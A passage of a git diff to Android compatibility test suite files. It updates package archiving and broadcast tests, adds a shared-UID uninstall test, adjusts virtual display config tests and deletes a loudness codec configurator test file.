Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get(5, TimeUnit.SECONDS)).isEqualTo(
PackageInstaller.STATUS_SUCCESS);
@@ -225,7 +225,7 @@
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get(5, TimeUnit.SECONDS)).isEqualTo(
PackageInstaller.STATUS_SUCCESS);
@@ -246,7 +246,7 @@
() -> assertThrows(
PackageManager.NameNotFoundException.class,
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0)),
+ new IntentSender((IIntentSender) mArchiveIntentSender))),
Manifest.permission.DELETE_PACKAGES);
assertThat(e).hasMessageThat().isEqualTo("No installer found");
@@ -265,7 +265,7 @@
() -> assertThrows(
PackageManager.NameNotFoundException.class,
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0)),
+ new IntentSender((IIntentSender) mArchiveIntentSender))),
Manifest.permission.DELETE_PACKAGES);
assertThat(e).hasMessageThat().isEqualTo("Installer does not support unarchival");
@@ -278,7 +278,7 @@
() -> assertThrows(
PackageManager.NameNotFoundException.class,
() -> mPackageInstaller.requestArchive("android",
- new IntentSender((IIntentSender) mArchiveIntentSender), 0)),
+ new IntentSender((IIntentSender) mArchiveIntentSender))),
Manifest.permission.DELETE_PACKAGES);
assertThat(e).hasMessageThat().isEqualTo("System apps cannot be archived.");
@@ -290,7 +290,7 @@
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get(5, TimeUnit.SECONDS)).isEqualTo(
@@ -332,7 +332,7 @@
assertThrows(
SecurityException.class,
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0));
+ new IntentSender((IIntentSender) mArchiveIntentSender)));
assertThat(e).hasMessageThat().isEqualTo("You need the "
+ "com.android.permission.DELETE_PACKAGES or "
@@ -347,7 +347,7 @@
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get(5, TimeUnit.SECONDS)).isEqualTo(
PackageInstaller.STATUS_SUCCESS);
@@ -357,7 +357,7 @@
() -> assertThrows(
PackageManager.NameNotFoundException.class,
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0)),
+ new IntentSender((IIntentSender) mArchiveIntentSender))),
Manifest.permission.DELETE_PACKAGES);
assertThat(e).hasMessageThat().isEqualTo(PACKAGE_NAME + " is not installed.");
}
@@ -369,7 +369,7 @@
final long timestampBeforeArchive = System.currentTimeMillis();
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
@@ -389,7 +389,7 @@
installPackage(PACKAGE_NAME, APK_PATH);
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
@@ -415,7 +415,7 @@
installPackage(PACKAGE_NAME, APK_PATH);
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get(5, TimeUnit.SECONDS)).isEqualTo(
PackageInstaller.STATUS_SUCCESS);
@@ -458,7 +458,7 @@
installPackage(PACKAGE_NAME, APK_PATH);
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get(5, TimeUnit.SECONDS)).isEqualTo(
PackageInstaller.STATUS_SUCCESS);
@@ -510,7 +510,7 @@
installPackage(PACKAGE_NAME, APK_PATH);
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get(5, TimeUnit.SECONDS)).isEqualTo(
PackageInstaller.STATUS_SUCCESS);
@@ -545,7 +545,7 @@
installPackage(PACKAGE_NAME, APK_PATH);
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get(5, TimeUnit.SECONDS)).isEqualTo(
PackageInstaller.STATUS_SUCCESS);
@@ -589,7 +589,7 @@
() -> assertThrows(
PackageManager.NameNotFoundException.class,
() -> mPackageInstaller.requestArchive(NO_ACTIVITY_PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0)),
+ new IntentSender((IIntentSender) mArchiveIntentSender))),
Manifest.permission.DELETE_PACKAGES);
assertThat(e).hasMessageThat()
@@ -610,7 +610,7 @@
() -> assertThrows(
PackageManager.NameNotFoundException.class,
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0)),
+ new IntentSender((IIntentSender) mArchiveIntentSender))),
Manifest.permission.DELETE_PACKAGES);
assertThat(e).hasMessageThat().isEqualTo(
@@ -664,7 +664,7 @@
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get(5, TimeUnit.SECONDS)).isEqualTo(
PackageInstaller.STATUS_SUCCESS);
@@ -749,7 +749,7 @@
() ->
mPackageInstaller.requestArchive(
PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
ComponentName archiveComponentName =
@@ -784,7 +784,7 @@
() ->
mPackageInstaller.requestArchive(
PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
ComponentName archiveComponentName = new ComponentName(PACKAGE_NAME, ACTIVITY_NAME);
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 1314ae9..d3739e3 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -3177,37 +3177,39 @@
mContext.registerReceiver(addedBroadcastReceiver, intentFilter);
mContext.registerReceiver(removedBroadcastReceiver, intentFilter);
- installPackage(HELLO_WORLD_APK);
- // Make sure this broadcast is received so it doesn't affect the test later
- addedBroadcastReceiver.assertBroadcastReceived();
- byte[] archivedPackage = SystemUtil.runShellCommandByteOutput(
- mInstrumentation.getUiAutomation(),
- "pm get-archived-package-metadata " + HELLO_WORLD_PACKAGE_NAME);
- uninstallPackage(HELLO_WORLD_PACKAGE_NAME);
- // Make sure this broadcast is received so it doesn't affect the test later
- removedBroadcastReceiver.assertBroadcastReceived();
+ try {
+ installPackage(HELLO_WORLD_APK);
+ // Make sure this broadcast is received so it doesn't affect the test later
+ addedBroadcastReceiver.assertBroadcastReceived();
+ byte[] archivedPackage = SystemUtil.runShellCommandByteOutput(
+ mInstrumentation.getUiAutomation(),
+ "pm get-archived-package-metadata " + HELLO_WORLD_PACKAGE_NAME);
+ uninstallPackage(HELLO_WORLD_PACKAGE_NAME);
+ // Make sure this broadcast is received so it doesn't affect the test later
+ removedBroadcastReceiver.assertBroadcastReceived();
- addedBroadcastReceiver.reset();
- removedBroadcastReceiver.reset();
+ addedBroadcastReceiver.reset();
+ removedBroadcastReceiver.reset();
- assertEquals("Success\n", executeShellCommand(
- String.format("pm install-archived -r -i %s -t -S %s", mContext.getPackageName(),
- archivedPackage.length), archivedPackage));
+ assertEquals("Success\n", executeShellCommand(
+ String.format("pm install-archived -r -i %s -t -S %s",
+ mContext.getPackageName(), archivedPackage.length), archivedPackage));
- addedBroadcastReceiver.assertBroadcastReceived();
- Intent addedIntent = addedBroadcastReceiver.getBroadcastResult();
- assertNotNull(addedIntent);
- assertTrue(addedIntent.getExtras().getBoolean(Intent.EXTRA_ARCHIVAL, false));
- assertFalse(addedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false));
+ addedBroadcastReceiver.assertBroadcastReceived();
+ Intent addedIntent = addedBroadcastReceiver.getBroadcastResult();
+ assertNotNull(addedIntent);
+ assertTrue(addedIntent.getExtras().getBoolean(Intent.EXTRA_ARCHIVAL, false));
+ assertFalse(addedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false));
- removedBroadcastReceiver.assertBroadcastReceived();
- Intent removedIntent = removedBroadcastReceiver.getBroadcastResult();
- assertNotNull(removedIntent);
- assertTrue(removedIntent.getExtras().getBoolean(Intent.EXTRA_ARCHIVAL, false));
- assertTrue(removedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false));
-
- mContext.unregisterReceiver(addedBroadcastReceiver);
- mContext.unregisterReceiver(removedBroadcastReceiver);
+ removedBroadcastReceiver.assertBroadcastReceived();
+ Intent removedIntent = removedBroadcastReceiver.getBroadcastResult();
+ assertNotNull(removedIntent);
+ assertTrue(removedIntent.getExtras().getBoolean(Intent.EXTRA_ARCHIVAL, false));
+ assertTrue(removedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false));
+ } finally {
+ mContext.unregisterReceiver(addedBroadcastReceiver);
+ mContext.unregisterReceiver(removedBroadcastReceiver);
+ }
}
// Same tests as above, but using direct PackageInstaller API calls.
@@ -3324,6 +3326,9 @@
var archivedPackage = packageManager.getArchivedPackage(HELLO_WORLD_PACKAGE_NAME);
uninstallPackage(HELLO_WORLD_PACKAGE_NAME);
+ // Wait ACTION_PACKAGE_REMOVED was dispatched for uninstall HELLO_WORLD_PACKAGE_NAME
+ SystemClock.sleep(2_000);
+
int currentUser = ActivityManager.getCurrentUser();
PackageBroadcastReceiver addedBroadcastReceiver = new PackageBroadcastReceiver(
HELLO_WORLD_PACKAGE_NAME, currentUser, Intent.ACTION_PACKAGE_ADDED
@@ -3338,22 +3343,24 @@
mContext.registerReceiver(addedBroadcastReceiver, intentFilter);
mContext.registerReceiver(removedBroadcastReceiver, intentFilter);
- installArchived(archivedPackage);
+ try {
+ installArchived(archivedPackage);
- addedBroadcastReceiver.assertBroadcastReceived();
- Intent addedIntent = addedBroadcastReceiver.getBroadcastResult();
- assertNotNull(addedIntent);
- assertTrue(addedIntent.getExtras().getBoolean(Intent.EXTRA_ARCHIVAL, false));
- assertFalse(addedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false));
+ addedBroadcastReceiver.assertBroadcastReceived();
+ Intent addedIntent = addedBroadcastReceiver.getBroadcastResult();
+ assertNotNull(addedIntent);
+ assertTrue(addedIntent.getExtras().getBoolean(Intent.EXTRA_ARCHIVAL, false));
+ assertFalse(addedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false));
- removedBroadcastReceiver.assertBroadcastReceived();
- Intent removedIntent = removedBroadcastReceiver.getBroadcastResult();
- assertNotNull(removedIntent);
- assertTrue(removedIntent.getExtras().getBoolean(Intent.EXTRA_ARCHIVAL, false));
- assertTrue(removedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false));
-
- mContext.unregisterReceiver(addedBroadcastReceiver);
- mContext.unregisterReceiver(removedBroadcastReceiver);
+ removedBroadcastReceiver.assertBroadcastReceived();
+ Intent removedIntent = removedBroadcastReceiver.getBroadcastResult();
+ assertNotNull(removedIntent);
+ assertTrue(removedIntent.getExtras().getBoolean(Intent.EXTRA_ARCHIVAL, false));
+ assertTrue(removedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false));
+ } finally {
+ mContext.unregisterReceiver(addedBroadcastReceiver);
+ mContext.unregisterReceiver(removedBroadcastReceiver);
+ }
}
private static Certificate readCertificate() throws Exception {
@@ -3425,32 +3432,36 @@
intentFilter.addDataScheme("package");
mContext.registerReceiver(removedBroadcastReceiver, intentFilter);
mContext.registerReceiver(fullyRemovedBroadcastReceiver, intentFilter);
- // Test uninstall -k without --user
- uninstallPackageKeepData(HELLO_WORLD_PACKAGE_NAME);
- removedBroadcastReceiver.assertBroadcastReceived();
- fullyRemovedBroadcastReceiver.assertBroadcastNotReceived();
- removedBroadcastReceiver.reset();
- // Test uninstall -k with --user
- installPackage(HELLO_WORLD_APK);
- uninstallPackageKeepDataForUser(HELLO_WORLD_PACKAGE_NAME, currentUser);
- removedBroadcastReceiver.assertBroadcastReceived();
- fullyRemovedBroadcastReceiver.assertBroadcastNotReceived();
- removedBroadcastReceiver.reset();
- // Test uninstall without -k
- installPackage(HELLO_WORLD_APK);
- uninstallPackage(HELLO_WORLD_PACKAGE_NAME);
- removedBroadcastReceiver.assertBroadcastReceived();
- fullyRemovedBroadcastReceiver.assertBroadcastReceived();
- removedBroadcastReceiver.reset();
- fullyRemovedBroadcastReceiver.reset();
- // Test uninstall --user without -k
- installPackage(HELLO_WORLD_APK);
- uninstallPackageForUser(HELLO_WORLD_PACKAGE_NAME, currentUser);
- removedBroadcastReceiver.assertBroadcastReceived();
- fullyRemovedBroadcastReceiver.assertBroadcastReceived();
- // Clean up
- mContext.unregisterReceiver(removedBroadcastReceiver);
- mContext.unregisterReceiver(fullyRemovedBroadcastReceiver);
+
+ try {
+ // Test uninstall -k without --user
+ uninstallPackageKeepData(HELLO_WORLD_PACKAGE_NAME);
+ removedBroadcastReceiver.assertBroadcastReceived();
+ fullyRemovedBroadcastReceiver.assertBroadcastNotReceived();
+ removedBroadcastReceiver.reset();
+ // Test uninstall -k with --user
+ installPackage(HELLO_WORLD_APK);
+ uninstallPackageKeepDataForUser(HELLO_WORLD_PACKAGE_NAME, currentUser);
+ removedBroadcastReceiver.assertBroadcastReceived();
+ fullyRemovedBroadcastReceiver.assertBroadcastNotReceived();
+ removedBroadcastReceiver.reset();
+ // Test uninstall without -k
+ installPackage(HELLO_WORLD_APK);
+ uninstallPackage(HELLO_WORLD_PACKAGE_NAME);
+ removedBroadcastReceiver.assertBroadcastReceived();
+ fullyRemovedBroadcastReceiver.assertBroadcastReceived();
+ removedBroadcastReceiver.reset();
+ fullyRemovedBroadcastReceiver.reset();
+ // Test uninstall --user without -k
+ installPackage(HELLO_WORLD_APK);
+ uninstallPackageForUser(HELLO_WORLD_PACKAGE_NAME, currentUser);
+ removedBroadcastReceiver.assertBroadcastReceived();
+ fullyRemovedBroadcastReceiver.assertBroadcastReceived();
+ } finally {
+ // Clean up
+ mContext.unregisterReceiver(removedBroadcastReceiver);
+ mContext.unregisterReceiver(fullyRemovedBroadcastReceiver);
+ }
}
@Test
@@ -3472,20 +3483,25 @@
intentFilter.addDataScheme("package");
mContext.registerReceiver(replacedBroadcastReceiver, intentFilter);
mContext.registerReceiver(addedBroadcastReceiver, intentFilter);
- // Reinstall and verify that the correct broadcasts are received
- installPackage(HELLO_WORLD_APK);
- replacedBroadcastReceiver.assertBroadcastReceived();
- final Intent replacedIntent = replacedBroadcastReceiver.getBroadcastResult();
- assertThat(replacedIntent).isNotNull();
- assertThat(replacedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false)).isTrue();
- addedBroadcastReceiver.assertBroadcastReceived();
- final Intent addedIntent = addedBroadcastReceiver.getBroadcastResult();
- assertThat(addedIntent).isNotNull();
- assertThat(addedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false)).isTrue();
- // Clean up
- uninstallPackage(HELLO_WORLD_PACKAGE_NAME);
- mContext.unregisterReceiver(replacedBroadcastReceiver);
- mContext.unregisterReceiver(addedBroadcastReceiver);
+
+ try {
+ // Reinstall and verify that the correct broadcasts are received
+ installPackage(HELLO_WORLD_APK);
+ replacedBroadcastReceiver.assertBroadcastReceived();
+ final Intent replacedIntent = replacedBroadcastReceiver.getBroadcastResult();
+ assertThat(replacedIntent).isNotNull();
+ assertThat(
+ replacedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false)).isTrue();
+ addedBroadcastReceiver.assertBroadcastReceived();
+ final Intent addedIntent = addedBroadcastReceiver.getBroadcastResult();
+ assertThat(addedIntent).isNotNull();
+ assertThat(addedIntent.getExtras().getBoolean(Intent.EXTRA_REPLACING, false)).isTrue();
+ // Clean up
+ uninstallPackage(HELLO_WORLD_PACKAGE_NAME);
+ } finally {
+ mContext.unregisterReceiver(replacedBroadcastReceiver);
+ mContext.unregisterReceiver(addedBroadcastReceiver);
+ }
}
@Test
@@ -3769,6 +3785,44 @@
assertFalse("not quarantined anymore", isPackageQuarantined(HELLO_WORLD_PACKAGE_NAME));
}
+ @Test
+ public void testUidRemovedBroadcastNotReceivedForSharedUid() throws Exception {
+ // Installing a test app that shares SYSTEM_UID
+ var result = SystemUtil.runShellCommand("pm install -t -g " + HELLO_WORLD_SETTINGS);
+ if (result.contains("no signatures that match those in shared user android.uid.system")) {
+ // This test only works if platform and cts are built using the same certificate.
+ return;
+ }
+ if (!Build.IS_DEBUGGABLE) {
+ // Non-debuggable builds don't allow non-preloaded apps that use system certificate.
+ return;
+ }
+ assertThat(result).isEqualTo("Success\n");
+ assertTrue(isPackagePresent(HELLO_WORLD_SETTINGS_PACKAGE_NAME));
+ int currentUser = ActivityManager.getCurrentUser();
+ PackageBroadcastReceiver packageRemovedBroadcastReceiver = new PackageBroadcastReceiver(
+ HELLO_WORLD_SETTINGS_PACKAGE_NAME, currentUser, Intent.ACTION_PACKAGE_REMOVED
+ );
+ final IntentFilter packageRemovedIntentFilter =
+ new IntentFilter(Intent.ACTION_PACKAGE_REMOVED);
+ packageRemovedIntentFilter.addDataScheme("package");
+ PackageBroadcastReceiver uidRemovedBroadcastReceiver = new PackageBroadcastReceiver(
+ HELLO_WORLD_SETTINGS_PACKAGE_NAME, currentUser, Intent.ACTION_UID_REMOVED
+ );
+ final IntentFilter uidRemovedIntentFilter = new IntentFilter(Intent.ACTION_UID_REMOVED);
+ mContext.registerReceiver(packageRemovedBroadcastReceiver, packageRemovedIntentFilter);
+ mContext.registerReceiver(uidRemovedBroadcastReceiver, uidRemovedIntentFilter);
+
+ try {
+ uninstallPackage(HELLO_WORLD_SETTINGS_PACKAGE_NAME);
+ packageRemovedBroadcastReceiver.assertBroadcastReceived();
+ uidRemovedBroadcastReceiver.assertBroadcastNotReceived();
+ } finally {
+ mContext.unregisterReceiver(packageRemovedBroadcastReceiver);
+ mContext.unregisterReceiver(uidRemovedBroadcastReceiver);
+ }
+ }
+
private boolean isPackageSuspended(String packageName) {
return SystemUtil.runWithShellPermissionIdentity(
() -> mPackageManager.isPackageSuspended(packageName));
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayConfigTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayConfigTest.java
index 8230a24..7238c02 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayConfigTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayConfigTest.java
@@ -50,16 +50,19 @@
@Test
public void parcelAndUnparcel_matches() {
+ final boolean customHomeEnabled = android.companion.virtual.flags.Flags.vdmCustomHome();
final Surface surface = new Surface(new SurfaceTexture(/*texName=*/1));
- final VirtualDisplayConfig originalConfig =
+ VirtualDisplayConfig.Builder builder =
new VirtualDisplayConfig.Builder(NAME, WIDTH, HEIGHT, DENSITY)
.setFlags(FLAGS)
.setSurface(surface)
.setDisplayCategories(Set.of("C1", "C2"))
.addDisplayCategory("C3")
- .setRequestedRefreshRate(REQUESTED_REFRESH_RATE)
- .setHomeSupported(true)
- .build();
+ .setRequestedRefreshRate(REQUESTED_REFRESH_RATE);
+ if (customHomeEnabled) {
+ builder.setHomeSupported(true);
+ }
+ final VirtualDisplayConfig originalConfig = builder.build();
assertThat(originalConfig.getName()).isEqualTo(NAME);
assertThat(originalConfig.getWidth()).isEqualTo(WIDTH);
@@ -69,8 +72,9 @@
assertThat(originalConfig.getSurface()).isEqualTo(surface);
assertThat(originalConfig.getDisplayCategories()).containsExactly("C1", "C2", "C3");
assertThat(originalConfig.getRequestedRefreshRate()).isEqualTo(REQUESTED_REFRESH_RATE);
- assertThat(originalConfig.isHomeSupported()).isEqualTo(
- android.companion.virtual.flags.Flags.vdmCustomHome());
+ if (customHomeEnabled) {
+ assertThat(originalConfig.isHomeSupported()).isEqualTo(true);
+ }
final Parcel parcel = Parcel.obtain();
originalConfig.writeToParcel(parcel, /* flags= */ 0);
@@ -86,12 +90,14 @@
assertThat(recreatedConfig.getSurface()).isNotNull();
assertThat(recreatedConfig.getDisplayCategories()).containsExactly("C1", "C2", "C3");
assertThat(recreatedConfig.getRequestedRefreshRate()).isEqualTo(REQUESTED_REFRESH_RATE);
- assertThat(recreatedConfig.isHomeSupported()).isEqualTo(
- android.companion.virtual.flags.Flags.vdmCustomHome());
+ if (customHomeEnabled) {
+ assertThat(recreatedConfig.isHomeSupported()).isEqualTo(true);
+ }
}
@Test
public void virtualDisplayConfig_onlyRequiredFields() {
+ final boolean customHomeEnabled = android.companion.virtual.flags.Flags.vdmCustomHome();
final VirtualDisplayConfig config =
new VirtualDisplayConfig.Builder(NAME, WIDTH, HEIGHT, DENSITY).build();
@@ -99,7 +105,9 @@
assertThat(config.getSurface()).isNull();
assertThat(config.getDisplayCategories()).isEmpty();
assertThat(config.getRequestedRefreshRate()).isEqualTo(0.0f);
- assertThat(config.isHomeSupported()).isFalse();
+ if (customHomeEnabled) {
+ assertThat(config.isHomeSupported()).isFalse();
+ }
}
@Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index b6776b9..8b4eaed 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -445,7 +445,7 @@
assertEquals(expectedVariant, actualVariant);
}
- @CddTest(requirement = "7.1.4.2")
+ @CddTest(requirement = "7.1.4.2/C-1-14")
@Test
public void testVulkanExposedDeviceExtensions() throws JSONException {
assumeTrue("Skipping because Vulkan is not supported", mVulkanHardwareVersion != null);
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/LoudnessCodecConfiguratorTest.java b/tests/tests/media/audio/src/android/media/audio/cts/LoudnessCodecConfiguratorTest.java
deleted file mode 100644
index 6105295..0000000
--- a/tests/tests/media/audio/src/android/media/audio/cts/LoudnessCodecConfiguratorTest.java
+++ /dev/null
@@ -1,318 +0,0 @@
-/*
- * Copyright (C) 2023 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.audio.cts;
-
-import static android.media.MediaFormat.KEY_AAC_DRC_EFFECT_TYPE;
-import static android.media.MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL;
-import static android.media.audio.Flags.FLAG_LOUDNESS_CONFIGURATOR_API;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertThrows;
-import static org.junit.Assert.assertTrue;
-
-import android.content.res.AssetFileDescriptor;
-import android.media.AudioAttributes;
-import android.media.AudioFormat;
-import android.media.AudioTrack;
-import android.media.LoudnessCodecConfigurator;
-import android.media.MediaCodec;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.os.Bundle;
-import android.platform.test.annotations.RequiresFlagsEnabled;
-import android.platform.test.flag.junit.CheckFlagsRule;
-import android.platform.test.flag.junit.DeviceFlagsValueProvider;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.NonMainlineTest;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.time.Duration;
-import java.util.concurrent.Executors;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.concurrent.atomic.AtomicReference;
-
-@NonMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class LoudnessCodecConfiguratorTest {
- private static final String TAG = "LoudnessCodecConfiguratorTest";
-
- private static final String TEST_MEDIA_AUDIO_CODEC_PREFIX = "audio/";
- private static final int TEST_AUDIO_TRACK_SAMPLERATE = 48000;
- private static final int TEST_AUDIO_TRACK_CHANNELS = 2;
-
- private static final Duration TEST_LOUDNESS_CALLBACK_TIMEOUT = Duration.ofMillis(200);
-
- @Rule
- public final CheckFlagsRule mCheckFlagsRule = DeviceFlagsValueProvider.createCheckFlagsRule();
-
- private LoudnessCodecConfigurator mLcc;
-
- private AudioTrack mAt;
-
- private final AtomicInteger mCodecUpdateCallNumber = new AtomicInteger(0);
-
- private final AtomicReference<Bundle> mLastCodecUpdate = new AtomicReference<>();
-
- private final class MyLoudnessCodecUpdateListener
- implements LoudnessCodecConfigurator.OnLoudnessCodecUpdateListener {
- @Override
- @NonNull
- public Bundle onLoudnessCodecUpdate(@NonNull MediaCodec mediaCodec,
- @NonNull Bundle codecValues) {
- mCodecUpdateCallNumber.incrementAndGet();
- mLastCodecUpdate.set(codecValues);
- return codecValues;
- }
- }
-
- @Before
- public void setUp() throws Exception {
- mLcc = LoudnessCodecConfigurator.create(Executors.newSingleThreadExecutor(),
- new MyLoudnessCodecUpdateListener());
- }
-
- @After
- public void tearDown() throws Exception {
- if (mAt != null) {
- mAt.release();
- mAt = null;
- }
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void createNewLoudnessCodecConfigurator_notNull() {
- assertNotNull("LoudnessCodecConfigurator must not be null", mLcc);
-
- mLcc = LoudnessCodecConfigurator.create();
- assertNotNull("LoudnessCodecConfigurator must not be null", mLcc);
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void setAudioTrack_withNoCodecs_noUpdates() throws Exception {
- mAt = createAndStartAudioTrack();
-
- mLcc.setAudioTrack(mAt);
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- assertEquals(0, mCodecUpdateCallNumber.get());
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void addUnconfiguredMediaCodec_returnsFalse() throws Exception {
- mAt = createAndStartAudioTrack();
-
- assertFalse(mLcc.addMediaCodec(createMediaCodec(/*configure*/false)));
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void setAudioTrack_withRegisteredCodecs_triggersUpdate() throws Exception {
- mAt = createAndStartAudioTrack();
-
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.setAudioTrack(mAt);
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- assertEquals(3, mCodecUpdateCallNumber.get());
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void getLoudnessCodecParams_returnsCurrentParameters() throws Exception {
- mAt = createAndStartAudioTrack();
-
- // to make sure the device id is propagated
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- assertFalse(mLcc.getLoudnessCodecParams(mAt,
- createMediaCodec(/*configure*/true)).isDefinitelyEmpty());
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
